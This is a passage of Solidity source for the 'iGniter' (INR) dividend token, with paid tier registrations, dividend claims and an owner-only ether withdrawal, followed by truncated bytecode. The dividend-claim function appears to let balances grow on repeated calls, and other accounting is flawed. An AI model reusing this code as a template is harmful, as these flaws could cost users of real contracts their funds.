_tier4Reg; uint256 _tier5Reg; uint256 _tier1Payout; uint256 _tier2Payout; uint256 _tier3Payout; uint256 _tier4Payout; uint256 _tier5Payout; uint256 _tier1Blocks; uint256 _tier2Blocks; uint256 _tier3Blocks; uint256 _tier4Blocks; uint256 _tier5Blocks; uint256 _tierPayouts; uint256 hodlPayout; uint256 _hodlReg; uint256 _hodlBlocks; uint256 INRpayout; uint256 INR_lastbal; uint256 INRpaid; uint256 INRtransfers; uint256 INRbalance; uint256 transDiff; uint256 individualRewards; } string public name; bytes32 public symbol; uint8 public decimals; uint256 private dividendsPerBlockPerAddress; uint256 private T1DividendsPerBlockPerAddress; uint256 private T2DividendsPerBlockPerAddress; uint256 private T3DividendsPerBlockPerAddress; uint256 private T4DividendsPerBlockPerAddress; uint256 private T5DividendsPerBlockPerAddress; uint256 private hodlersDividendsPerBlockPerAddress; uint256 private totalInitialAddresses; uint256 private initialBlockCount; uint256 private minedBlocks; uint256 private iGniting; uint256 private totalRewards; uint256 private initialSupplyPerAddress; uint256 private availableAmount; uint256 private burnt; uint256 private inrSessions; uint256 private initialSupply; uint256 public currentCost; uint256 private blockStats; uint256 private blockAverage; uint256 private blockAvgDiff; uint256 private divRewards; uint256 private diviClaims; uint256 private Tier1Amt; uint256 private Tier2Amt; uint256 private Tier3Amt; uint256 private Tier4Amt; uint256 private Tier5Amt; uint256 private Tier1blocks; uint256 private Tier2blocks; uint256 private Tier3blocks; uint256 private Tier4blocks; uint256 private Tier5blocks; uint256 private hodlBlocks; uint256 private hodlersReward; uint256 private hodlAmt; uint256 private _tier1Avg; uint256 private _tier1AvgDiff; uint256 private _tier1Rewards; uint256 private _tier2Avg; uint256 private _tier2AvgDiff; uint256 private _tier2Rewards; uint256 private _tier3Avg; uint256 private _tier3AvgDiff; uint256 private _tier3Rewards; uint256 private _tier4Avg; uint256 private _tier4AvgDiff; uint256 private _tier4Rewards; uint256 private _tier5Avg; uint256 private _tier5AvgDiff; uint256 private _tier5Rewards; uint256 private _hodlAvg; uint256 private _hodlAvgDiff; uint256 private _hodlRewards; bool private t1active; bool private t2active; bool private t3active; bool private t4active; bool private t5active; mapping(address => uint256) public balanceOf; mapping(address => bool) public initialAddress; mapping(address => bool) public dividendAddress; mapping(address => bool) public qualifiedAddress; mapping(address => bool) public TierStarterDividendAddress; mapping(address => bool) public TierBasicDividendAddress; mapping(address => bool) public TierClassicDividendAddress; mapping(address => bool) public TierWildcatDividendAddress; mapping(address => bool) public TierRainmakerDividendAddress; mapping(address => bool) public HODLERAddress; mapping(address => mapping (address => uint)) internal _allowances; mapping(address => serPayment) inrPayments; mapping(address => dividends) INRdividends; address private _Owner1; address private _Owner2; address private _Owner3; event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint _value); modifier isOwner() { require(msg.sender == _Owner1 || msg.sender == _Owner2 || msg.sender == _Owner3); _; } function iGniter() { initialSupplyPerAddress = 10000000000; //10000 INR initialBlockCount = 5150000; dividendsPerBlockPerAddress = 7; hodlersDividendsPerBlockPerAddress = 9000; T1DividendsPerBlockPerAddress = 30; T2DividendsPerBlockPerAddress = 360; T3DividendsPerBlockPerAddress = 4200; T4DividendsPerBlockPerAddress = 60000; T5DividendsPerBlockPerAddress = 1200000; totalInitialAddresses = 5000; initialSupply = initialSupplyPerAddress * totalInitialAddresses; minedBlocks = block.number - initialBlockCount; availableAmount = dividendsPerBlockPerAddress * minedBlocks; iGniting = availableAmount * totalInitialAddresses; _Owner1 = 0x4804D96B17B03B2f5F65a4AaA4b5DB360e22909A; _Owner2 = 0x16C890b06FE52e27ed514e7086378a355F1aB28a; _Owner3 = 0xa4F78852c7F854b4585491a55FE1594913C2C05D; } function currentBlock() constant returns (uint256 blockNumber) { return block.number; } function blockDiff() constant returns (uint256 blockNumber) { return block.number - initialBlockCount; } function assignInitialAddresses(address[] _address) isOwner public returns (bool success) { if (block.number < 10000000) { for (uint i = 0; i < _address.length; i++) { balanceOf[_address[i]] = balanceOf[_address[i]] + initialSupplyPerAddress; initialAddress[_address[i]] = true; } return true; } return false; } function balanceOf(address _address) constant returns (uint256 Balance) { if((qualifiedAddress[_address]) == true || (initialAddress[_address]) == true) { if (minedBlocks > 105120000) return balanceOf[_address]; //app. 2058 INRdividends[_address].INRpayout = dividendRewards(_address); if (INRdividends[_address].INRpayout < INRdividends[_address].INRtransfers) { INRdividends[_address].INRpaid = 0; } if (INRdividends[_address].INRpayout >= INRdividends[_address].INRtransfers) { INRdividends[_address].transDiff = INRdividends[_address].INRpayout - INRdividends[_address].INRtransfers; INRdividends[_address].INRpaid = INRdividends[_address].transDiff; } INRdividends[_address].INRbalance = balanceOf[_address] + INRdividends[_address].INRpaid; return INRdividends[_address].INRbalance; } else { return balanceOf[_address] + INRdividends[_address].INRpaid; } } function name() constant returns (string _name) { name = "iGniter"; return name; } function symbol() constant returns (bytes32 _symbol) { symbol = "INR"; return symbol; } function decimals() constant returns (uint8 _decimals) { decimals = 6; return decimals; } function totalSupply() constant returns (uint256 totalSupply) { if(t1active == true) { _tier1Avg = Tier1blocks/Tier1Amt; _tier1AvgDiff = block.number - _tier1Avg; _tier1Rewards = _tier1AvgDiff * T1DividendsPerBlockPerAddress * Tier1Amt; } if(t2active == true) { _tier2Avg = Tier2blocks/Tier2Amt; _tier2AvgDiff = block.number - _tier2Avg; _tier2Rewards = _tier2AvgDiff * T2DividendsPerBlockPerAddress * Tier2Amt; } if(t3active == true) { _tier3Avg = Tier3blocks/Tier3Amt; _tier3AvgDiff = block.number - _tier3Avg; _tier3Rewards = _tier3AvgDiff * T3DividendsPerBlockPerAddress * Tier3Amt; } if(t4active == true) { _tier4Avg = Tier4blocks/Tier4Amt; _tier4AvgDiff = block.number - _tier4Avg; _tier4Rewards = _tier4AvgDiff * T4DividendsPerBlockPerAddress * Tier4Amt; } if(t5active == true) { _tier5Avg = Tier5blocks/Tier5Amt; _tier5AvgDiff = block.number - _tier5Avg; _tier5Rewards = _tier5AvgDiff * T5DividendsPerBlockPerAddress * Tier5Amt; } _hodlAvg = hodlBlocks/hodlAmt; _hodlAvgDiff = block.number - _hodlAvg; _hodlRewards = _hodlAvgDiff * hodlersDividendsPerBlockPerAddress * hodlAmt; blockAverage = blockStats/diviClaims; blockAvgDiff = block.number - blockAverage; divRewards = blockAvgDiff * dividendsPerBlockPerAddress * diviClaims; totalRewards = _tier1Rewards + _tier2Rewards + _tier3Rewards + _tier4Rewards + _tier5Rewards + _hodlRewards + divRewards; return initialSupply + iGniting + totalRewards - burnt; } function burn(uint256 _value) public returns(bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; burnt += _value; Burn(msg.sender, _value); return true; } function transfer(address _to, uint _value) public returns (bool) { if (_value > 0 && _value <= balanceOf[msg.sender] && !isContract(_to)) { balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; INRdividends[msg.sender].INRtransfers += _value; Transfer(msg.sender, _to, _value); return true; } return false; } function transfer(address _to, uint _value, bytes _data) public returns (bool) { if (_value > 0 && _value <= balanceOf[msg.sender] && isContract(_to)) { balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; INRdividends[msg.sender].INRtransfers += _value; ERC223ReceivingContract _contract = ERC223ReceivingContract(_to); _contract.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } return false; } function isContract(address _addr) returns (bool) { uint codeSize; assembly { codeSize := extcodesize(_addr) } return codeSize > 0; } function transferFrom(address _from, address _to, uint _value) public returns (bool) { if (_allowances[_from][msg.sender] > 0 && _value > 0 && _allowances[_from][msg.sender] >= _value && balanceOf[_from] >= _value) { balanceOf[_from] -= _value; balanceOf[_to] += _value; INRdividends[msg.sender].INRtransfers += _value; _allowances[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } return false; } function approve(address _spender, uint _value) public returns (bool) { _allowances[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint) { return _allowances[_owner][_spender]; } function PaymentStatusBlockNum(address _address) constant returns (uint256 blockno) { return inrPayments[_address].unlockedBlockNumber; } function PaymentStatusTimeStamp(address _address) constant returns (uint256 ut) { return inrPayments[_address].unlockedTime; } function updateCost(uint256 _currCost) isOwner public { currentCost = _currCost; } function servicePayment(uint _value) public { require(_value >= currentCost); require(balanceOf[msg.sender] >= currentCost); inrPayments[msg.sender].unlockedBlockNumber = block.number; inrSessions++; balanceOf[msg.sender] -= _value; burnt += _value; Burn(msg.sender, _value); } function withdrawal(uint quantity) isOwner returns(bool) { require(quantity <= this.balance); if(msg.sender == _Owner1) { _Owner1.transfer(quantity); } if(msg.sender == _Owner2) { _Owner2.transfer(quantity); } if(msg.sender == _Owner3) { _Owner3.transfer(quantity); } return true; } function dividendRegistration() public { require (dividendAddress[msg.sender] == false); INRdividends[msg.sender].diviReg = block.number; dividendAddress[msg.sender] = true; qualifiedAddress[msg.sender] = true; blockStats += block.number; diviClaims++; } function HODLRegistration() public { require (HODLERAddress[msg.sender] == false); INRdividends[msg.sender]._hodlReg = block.number; HODLERAddress[msg.sender] = true; qualifiedAddress[msg.sender] = true; hodlBlocks += block.number; hodlAmt++; } function Tier_Starter_Registration() public payable { require(msg.value == 0.01 ether); INRdividends[msg.sender]._tier1Reg = block.number; TierStarterDividendAddress[msg.sender] = true; qualifiedAddress[msg.sender] = true; Tier1blocks += block.number; Tier1Amt++; t1active = true; } function Tier_Basic_Registration() public payable { require(msg.value >= 0.1 ether); INRdividends[msg.sender]._tier2Reg = block.number; TierBasicDividendAddress[msg.sender] = true; qualifiedAddress[msg.sender] = true; Tier2blocks += block.number; Tier2Amt++; t2active = true; } function Tier_Classic_Registration() public payable { require(msg.value >= 1 ether); INRdividends[msg.sender]._tier3Reg = block.number; TierClassicDividendAddress[msg.sender] = true; qualifiedAddress[msg.sender] = true; Tier3blocks += block.number; Tier3Amt++; t3active = true; } function Tier_Wildcat_Registration() public payable { require(msg.value >= 10 ether); INRdividends[msg.sender]._tier4Reg = block.number; TierWildcatDividendAddress[msg.sender] = true; qualifiedAddress[msg.sender] = true; Tier4blocks += block.number; Tier4Amt++; t4active = true; } function Tier_Rainmaker_Registration() public payable { require(msg.value >= 100 ether); INRdividends[msg.sender]._tier5Reg = block.number; TierRainmakerDividendAddress[msg.sender] = true; qualifiedAddress[msg.sender] = true; Tier5blocks += block.number; Tier5Amt++; t5active = true; } function claimINRDividends() public { INRdividends[msg.sender].INRpayout = dividendRewards(msg.sender); if (INRdividends[msg.sender].INRpayout < INRdividends[msg.sender].INRtransfers) { INRdividends[msg.sender].INRpaid = 0; } if (INRdividends[msg.sender].INRpayout >= INRdividends[msg.sender].INRtransfers) { INRdividends[msg.sender].transDiff = INRdividends[msg.sender].INRpayout - INRdividends[msg.sender].INRtransfers; INRdividends[msg.sender].INRpaid = INRdividends[msg.sender].transDiff; } balanceOf[msg.sender] += INRdividends[msg.sender].INRpaid; } function dividendRewards(address _address) constant returns (uint) { if(dividendAddress[_address] == true) { INRdividends[_address].diviBlocks = block.number - INRdividends[_address].diviReg; INRdividends[_address].diviPayout = dividendsPerBlockPerAddress * INRdividends[_address].diviBlocks; } if(TierStarterDividendAddress[_address] == true) { INRdividends[_address]._tier1Blocks = block.number - INRdividends[_address]._tier1Reg; INRdividends[_address]._tier1Payout = T1DividendsPerBlockPerAddress * INRdividends[_address]._tier1Blocks; } if(TierBasicDividendAddress[_address] == true) { INRdividends[_address]._tier2Blocks = block.number - INRdividends[_address]._tier2Reg; INRdividends[_address]._tier2Payout = T2DividendsPerBlockPerAddress * INRdividends[_address]._tier2Blocks; } if(TierClassicDividendAddress[_address] == true) { INRdividends[_address]._tier3Blocks = block.number - INRdividends[_address]._tier3Reg; INRdividends[_address]._tier3Payout = T3DividendsPerBlockPerAddress * INRdividends[_address]._tier3Blocks; } if(TierWildcatDividendAddress[_address] == true) { INRdividends[_address]._tier4Blocks = block.number - INRdividends[_address]._tier4Reg; INRdividends[_address]._tier4Payout = T4DividendsPerBlockPerAddress * INRdividends[_address]._tier4Blocks; } if(TierRainmakerDividendAddress[_address] == true) { INRdividends[_address]._tier5Blocks = block.number - INRdividends[_address]._tier5Reg; INRdividends[_address]._tier5Payout = T5DividendsPerBlockPerAddress * INRdividends[_address]._tier5Blocks; } if ((balanceOf[_address]) >= 100000000000 && (HODLERAddress[_address] == true)) { //100000INR INRdividends[_address]._hodlBlocks = block.number - INRdividends[_address]._hodlReg; INRdividends[_address].hodlPayout = hodlersDividendsPerBlockPerAddress * INRdividends[_address]._hodlBlocks; } INRdividends[_address]._tierPayouts = INRdividends[_address]._tier1Payout + INRdividends[_address]._tier2Payout + INRdividends[_address]._tier3Payout + INRdividends[_address]._tier4Payout + INRdividends[_address]._tier5Payout + INRdividends[_address].hodlPayout + INRdividends[_address].diviPayout; if ((initialAddress[_address]) == true) { INRdividends[_address].individualRewards = availableAmount + INRdividends[_address]._tierPayouts; return INRdividends[_address].individualRewards; } if ((qualifiedAddress[_address]) == true) { INRdividends[_address].individualRewards = INRdividends[_address]._tierPayouts; return INRdividends[_address].individualRewards; } } }
0x6060604052600436106101ee576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101f3578063095ea7b31461028157806316279055146102db57806318160ddd1461032c57806323b872dd1461035557806323c5a088146103ce578063313ce567146103f157806333a581d21461042057806334aa0e7f14610449578063368dde4b1461045e5780633e1b4645146104875780633efa31b0146104d857806340f0792b1461052957806342966c681461057a57806348b9f88f146105b5578063491abe0c146105de5780634c3f8ec0146106015780635946e7eb1461060b5780636713640d1461061557806370a082311461066657806373898796146106b35780637c44f160146106bd578063835fc6ca146106c757806384bd3a28146107025780638715d65d1461075357806395d89b41146107a45780639ab3bfd7146107d55780639c1cb7cf146107df578063a067412b1461082c578063a9059cbb1461089e578063b5f3484d146108f8578063bc73c97114610945578063be45fd6214610996578063cfd0a97014610a33578063dd62ed3e14610a84578063dda9f1a314610af0578063e12ed13c14610b05578063e231dae714610b2e578063fad992ea14610b7b578063fb3a3ff314610b90575b600080fd5b34156101fe57600080fd5b610206610be1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561024657808201518184015260208101905061022b565b50505050905090810190601f1680156102735780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561028c57600080fd5b6102c1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cd5565b604051808215151515815260200191505060405180910390f35b34156102e657600080fd5b610312600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dc7565b604051808215151515815260200191505060405180910390f35b341561033757600080fd5b61033f610dda565b6040518082815260200191505060405180910390f35b341561036057600080fd5b6103b4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611000565b604051808215151515815260200191505060405180910390f35b34156103d957600080fd5b6103ef6004808035906020019091905050611353565b005b34156103fc57600080fd5b610404611469565b604051808260ff1660ff16815260200191505060405180910390f35b341561042b57600080fd5b61043361149c565b6040518082815260200191505060405180910390f35b341561045457600080fd5b61045c6114c0565b005b341561046957600080fd5b61047161163a565b6040518082815260200191505060405180910390f35b341561049257600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611640565b604051808215151515815260200191505060405180910390f35b34156104e357600080fd5b61050f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611660565b604051808215151515815260200191505060405180910390f35b341561053457600080fd5b610560600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611680565b604051808215151515815260200191505060405180910390f35b341561058557600080fd5b61059b60048080359060200190919050506116a0565b604051808215151515815260200191505060405180910390f35b34156105c057600080fd5b6105c86117a4565b6040518082815260200191505060405180910390f35b34156105e957600080fd5b6105ff60048080359060200190919050506117b0565b005b610609611918565b005b610613611a65565b005b341561062057600080fd5b61064c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611bb3565b604051808215151515815260200191505060405180910390f35b341561067157600080fd5b61069d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611bd3565b6040518082815260200191505060405180910390f35b6106bb612186565b005b6106c56122d3565b005b34156106d257600080fd5b6106e8600480803590602001909190505061241e565b604051808215151515815260200191505060405180910390f35b341561070d57600080fd5b610739600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612786565b604051808215151515815260200191505060405180910390f35b341561075e57600080fd5b61078a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506127a6565b604051808215151515815260200191505060405180910390f35b34156107af57600080fd5b6107b76127c6565b60405180826000191660001916815260200191505060405180910390f35b6107dd6127fb565b005b34156107ea57600080fd5b610816600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612948565b6040518082815260200191505060405180910390f35b341561083757600080fd5b610884600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050612994565b604051808215151515815260200191505060405180910390f35b34156108a957600080fd5b6108de600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612c01565b604051808215151515815260200191505060405180910390f35b341561090357600080fd5b61092f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612dcb565b6040518082815260200191505060405180910390f35b341561095057600080fd5b61097c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612e17565b604051808215151515815260200191505060405180910390f35b34156109a157600080fd5b610a19600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612e37565b604051808215151515815260200191505060405180910390f35b3415610a3e57600080fd5b610a6a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050613189565b604051808215151515815260200191505060405180910390f35b3415610a8f57600080fd5b610ada600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506131a9565b6040518082815260200191505060405180910390f35b3415610afb57600080fd5b610b03613230565b005b3415610b1057600080fd5b610b186133aa565b6040518082815260200191505060405180910390f35b3415610b3957600080fd5b610b65600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506133b2565b6040518082815260200191505060405180910390f35b3415610b8657600080fd5b610b8e6142a5565b005b3415610b9b57600080fd5b610bc7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061463e565b604051808215151515815260200191505060405180910390f35b610be961465e565b6040805190810160405280600781526020017f69476e697465720000000000000000000000000000000000000000000000000081525060009080519060200190610c34929190614672565b5060008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ccb5780601f10610ca057610100808354040283529160200191610ccb565b820191906000526020600020905b815481529060010190602001808311610cae57829003601f168201915b5050505050905090565b600081604460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600080823b905060008111915050919050565b600060011515603960009054906101000a900460ff1615151415610e2b57601a54601f54811515610e0757fe5b046027819055506027544303602881905550601a5460045460285402026029819055505b60011515603960019054906101000a900460ff1615151415610e7a57601b54602054811515610e5657fe5b04602a81905550602a544303602b81905550601b54600554602b540202602c819055505b60011515603960029054906101000a900460ff1615151415610ec957601c54602154811515610ea557fe5b04602d81905550602d544303602e81905550601c54600654602e540202602f819055505b60011515603960039054906101000a900460ff1615151415610f1857601d54602254811515610ef457fe5b046030819055506030544303603181905550601d5460075460315402026032819055505b60011515603960049054906101000a900460ff1615151415610f6757601e54602354811515610f4357fe5b046033819055506033544303603481905550601e5460085460345402026035819055505b602654602454811515610f7657fe5b0460368190555060365443036037819055506026546009546037540202603881905550601954601554811515610fa857fe5b0460168190555060165443036017819055506019546003546017540202601881905550601854603854603554603254602f54602c54602954010101010101600e81905550601154600e54600d54601354010103905090565b600080604460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411801561108d5750600082115b8015611115575081604460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015611160575081603a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b156113475781603a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081603a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601a016000828254019250508190555081604460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061134c565b600090505b9392505050565b604760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806113fc5750604860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806114545750604960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561145f57600080fd5b8060148190555050565b60006006600260006101000a81548160ff021916908360ff160217905550600260009054906101000a900460ff16905090565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b60001515603c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561151f57600080fd5b43604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506001603c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001603d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555043601560008282540192505081905550601960008154809291906001019190505550565b60145481565b603d6020528060005260406000206000915054906101000a900460ff1681565b603b6020528060005260406000206000915054906101000a900460ff1681565b603c6020528060005260406000206000915054906101000a900460ff1681565b600081603a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156116f057600080fd5b81603a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816011600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b6000600b544303905090565b60145481101515156117c157600080fd5b601454603a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561181157600080fd5b43604560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555060126000815480929190600101919050555080603a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550806011600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a250565b678ac7230489e80000341015151561192f57600080fd5b43604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701819055506001604160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001603d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555043602260008282540192505081905550601d600081548092919060010191905055506001603960036101000a81548160ff021916908315150217905550565b68056bc75e2d631000003410151515611a7d57600080fd5b43604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600801819055506001604260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001603d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555043602360008282540192505081905550601e600081548092919060010191905055506001603960046101000a81548160ff021916908315150217905550565b603e6020528060005260406000206000915054906101000a900460ff1681565b600060011515603d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151480611c84575060011515603b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b156120fa576306440100600c541115611cde57603a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050612181565b611ce7826133b2565b604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060170181905550604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601a0154604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601701541015611e02576000604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601901819055505b604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601a0154604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060170154101515611fe657604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601a0154604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206017015403604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601c0181905550604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601c0154604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601901819055505b604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060190154603a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601b0181905550604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601b01549050612181565b604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060190154603a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540190505b919050565b670de0b6b3a7640000341015151561219d57600080fd5b43604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601819055506001604060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001603d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555043602160008282540192505081905550601c600081548092919060010191905055506001603960026101000a81548160ff021916908315150217905550565b662386f26fc10000341415156122e857600080fd5b43604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401819055506001603e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001603d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555043601f60008282540192505081905550601a600081548092919060010191905055506001603960006101000a81548160ff021916908315150217905550565b6000604760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806124c95750604860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffff